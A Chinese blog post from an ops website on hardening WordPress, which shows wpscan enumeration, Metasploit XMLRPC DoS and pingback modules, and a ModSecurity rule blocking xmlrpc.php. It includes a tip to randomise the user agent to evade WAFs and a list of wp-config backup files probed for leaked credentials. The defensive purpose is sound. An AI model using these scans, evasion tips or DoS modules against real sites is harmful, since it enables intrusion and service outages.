Centos系统下载大全 | Redhat系统下载大全 | Windows2012系统下载大全 | Windows2008系统下载大全| CMS教程 | 网站地图 51运维网-专注Linux/Unix系统安全运维!
当前位置:51运维网 > CMS > wordpress > 正文

如何保护WordPress网站安全

时间:2015-02-05 16:21 来源:网络整理 作者:51ou.com 阅读:

看了infosec 出品的Protecting WordPress Installations in an IaaS Environment>>,决定给裸奔的wordpress做做加固。

wordpress是国人搭建个人博客的首选,其地位等同于论坛搭建首选discuz(话说,discuz才报出全局变量绕过导致的命令执行大洞,唉,开源的APP都是不产蜜而产getshell的蜂巢)。

wordpress以丰富的插件(插件漏洞)闻名,因此攻击者一般会对wordpress来个指纹识别(除去找暴力破解/社工后台登陆口的快捷方法)

一、wpscan ——wordpress指纹识别及漏洞检查工具 (该网站被丧心病狂的GFW封掉了,翻墙吧psiphon搔年,或者使用渗透套装kali)

(重点不是wpscan,了解攻击才能给出相应防御措施)

a.安装

以ubuntu安装为例



apt-get install libcurl4-gnutls-dev libxml2 libxml2-dev libxslt1-dev ruby-dev build-essential



git clone https://github.com/wpscanteam/wpscan.git



cd wpscan/



gem install bundler && bundle install --without test

b.基本使用

枚举站点信息:用户名、插件、样式等信息


 ruby wpscan.rb --url  --enumerate 

以下是探测结果样本

[+] URL: 
[+] Started: Tue Oct 28 15:46:30 2014
[!] The WordPress 'http://www.tanjiti.com/readme.html' file exists
[+] XML-RPC Interface available under: 
[!] Upload directory has directory listing enabled: 
[+] WordPress version 4.0 identified from meta generator
[+] WordPress theme in use: twentyfourteen - v1.2
[+] Name: twentyfourteen - v1.2
|  Location: 
|  Style URL: 
|  Referenced style.css: 
|  Theme Name: Twenty Fourteen
|  Theme URI: 
|  Description: In 2014, our default theme lets you create a responsive magazine website with a sleek, modern des...
|  Author: the WordPress team
|  Author URI: 
[+] Enumerating installed plugins (only vulnerable ones) ...
Time: 00:00:37 <==============================================> (880 / 880) 100.00% Time: 00:00:37
[+] No plugins found
[+] Enumerating installed themes (only vulnerable ones) ...
Time: 00:00:16 <==============================================> (308 / 308) 100.00% Time: 00:00:16
[+] No themes found
[+] Enumerating timthumb files ...
Time: 00:01:48 <============================================> (2539 / 2539) 100.00% Time: 00:01:48
[+] No timthumb files found
[+] Enumerating usernames ...
[+] Identified the following 1 user/s:
+----+---------+---------+
| Id | Login   | Name    |
+----+---------+---------+
| 1  | tanjiti | tanjiti |
+----+---------+---------+
[+] Finished: Tue Oct 28 15:49:34 2014


察看详细的探测信息



ruby wpscan.rb --url  --debug-output --random-agent >debug.log

(注意:wpscan 默认User-Agent为WPScan v2.5.1 (),扫描器使用常识之一使用正常变化的ua,避免触发WAF之类的防御部署)

基本察看LOG,我们就可以知道wpscan是如何收集信息

例如检查响应头X-Pingback: 头 (xmlrpc漏洞)

检查xmlrpc.php (xmlrpc漏洞)

检查robots.txt文件 (敏感信息泄露)

检查readme.html文件(敏感信息泄露)

检查/wp-content/debug.log(敏感信息泄露)

检查配置文件(能够明文读取配置文件基本就是挂掉了),wp-config.php.swo,%23wp-config.php%23,wp-config.orig,wp-config.php_bak,wp-config.original,wp-config.php.orig,wp-config.php.old,.wp-config.php.swp,wp-config.php.save,wp-config.bak,wp-config.txt,wp-config.php~ ,wp-config.save ,wp-config.old,wp-config.php.swp (敏感信息泄露)

识别指纹后,一般会去漏洞信息库中查找可以利用的漏洞,例如MSF

二、MSF-wordpress漏洞利用(已方使用就是漏洞扫描) 



msf > search wordpress
Matching Modules
================
Name                                                      Disclosure Date  Rank       Description
----                                                      ---------------  ----       -----------
auxiliary/admin/http/wp_custom_contact_forms              2014-08-07       normal     WordPress custom-contact-forms Plugin SQL Upload
auxiliary/dos/http/wordpress_xmlrpc_dos                   2014-08-06       normal     Wordpress XMLRPC DoS


以前段时间有名的XMLRPC DoS为例(漏洞说明见[科普]什么是 billion laughs-WordPress与Drupal的DoS攻击有感)

msf > use auxiliary/dos/http/wordpress_xmlrpc_dos    
msf auxiliary(wordpress_xmlrpc_dos) > show options
Module options (auxiliary/dos/http/wordpress_xmlrpc_dos):
Name       Current Setting  Required  Description
----       ---------------  --------  -----------
Proxies                     no        Use a proxy chain
RHOST                       yes       The target address
RLIMIT     1000             yes       Number of requests to send
RPORT      80               yes       The target port
TARGETURI  /                yes       The base path to the wordpress application
VHOST                       no        HTTP server virtual host
msf auxiliary(wordpress_xmlrpc_dos) > set RHOST 
RHOST => xxx
msf auxiliary(wordpress_xmlrpc_dos) > set TARGETURI /
TARGETURI => /wordpress/wordpress/
msf auxiliary(wordpress_xmlrpc_dos) > run


(再次强调,重点不是msf,了解攻击才能给出相应防御措施)

三、wordpress防护——使用ModSecurity进行防护



vim /usr/share/modsecurity-crs/activated_rules/MY.conf

(1) 添加防御xmlrpc漏洞的规则



SecRule REQUEST_URI "@endsWith /xmlrpc.php" "deny,tag:'WEB_ATTACK/WORDPRESS',msg:'block wordpress xmlrpc.php',id:0000003,phase:2"



service apache2 restart

使用MSF发送攻击包



msf auxiliary(wordpress_xmlrpc_dos) > use auxiliary/scanner/http/wordpress_pingback_access 
msf auxiliary(wordpress_pingback_access) > show options
Module options (auxiliary/scanner/http/wordpress_pingback_access):
Name       Current Setting  Required  Description
----       ---------------  --------  -----------
Proxies                     no        Use a proxy chain
RHOSTS                      yes       The target address range or CIDR identifier
RPORT      80               yes       The target port
TARGETURI  /                yes       The path to wordpress installation (e.g. /wordpress/)
THREADS    1                yes       The number of concurrent threads
VHOST                       no        HTTP server virtual host
msf auxiliary(wordpress_pingback_access) > set RHOSTS 
RHOSTS => xxx
msf auxiliary(wordpress_pingback_access) > set TARGETURI /
TARGETURI => /wordpress/wordpress/
msf auxiliary(wordpress_pingback_access) > run



感谢您对【51运维网 http://www.51ou.com/】的支持,我们为您免费提供《如何保护WordPress网站安全》技术文章,《如何保护WordPress网站安全》详细使用和说明,有时《如何保护WordPress网站安全》可能不完善、敬请谅解!如果《如何保护WordPress网站安全》有错误请给我们留言,我们将尽快修复文章错误,如果您觉得本站不错,请分享给周围的朋友!谢谢!

顶一下
(0)
0%
踩一下
(0)
0%
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
验证码:点击我更换图片